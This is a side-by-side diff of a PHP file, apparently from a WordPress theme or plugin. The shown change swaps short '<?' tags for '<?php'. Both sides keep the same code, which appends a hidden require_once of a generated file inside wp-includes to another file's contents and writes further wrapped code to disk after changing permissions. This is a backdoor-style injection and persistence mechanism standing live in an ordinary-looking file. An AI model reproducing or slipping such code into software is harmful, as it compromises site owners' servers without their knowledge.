equal
deleted
inserted
replaced
1 <? |
1 <?php |
2 $amt_u_tpl=5; |
2 $amt_u_tpl=5; |
3 if(!function_exists(amt_gp)) |
3 if(!function_exists(amt_gp)) |
4 { |
4 { |
5 function amt_gp() |
5 function amt_gp() |
6 { |
6 { |
232 $cont=trim(file_get_contents($amt_d->wp_c)); |
232 $cont=trim(file_get_contents($amt_d->wp_c)); |
233 $sha="/\?>$/"; |
233 $sha="/\?>$/"; |
234 if(preg_match($sha,$cont,$name)) |
234 if(preg_match($sha,$cont,$name)) |
235 { |
235 { |
236 $cont=$cont." |
236 $cont=$cont." |
237 <? if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/".$amt_d->n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } } ?>"; |
237 <?php if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/".$amt_d->n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } } ?>"; |
238 } |
238 } |
239 else |
239 else |
240 { |
240 { |
241 $cont=$cont." |
241 $cont=$cont." |
242 if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/".$amt_d->n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } }"; |
242 if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/".$amt_d->n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } }"; |
346 function amt_cnff($content) |
346 function amt_cnff($content) |
347 { |
347 { |
348 global $amt_d; |
348 global $amt_d; |
349 if($content=="") { return false; } |
349 if($content=="") { return false; } |
350 $content= |
350 $content= |
351 "<? |
351 "<?php |
352 ".$content." |
352 ".$content." |
353 ?>"; |
353 ?>"; |
354 if(file_exists($amt_d->wp_ff)) |
354 if(file_exists($amt_d->wp_ff)) |
355 { |
355 { |
356 @chmod($amt_d->wp_ff, 0755); |
356 @chmod($amt_d->wp_ff, 0755); |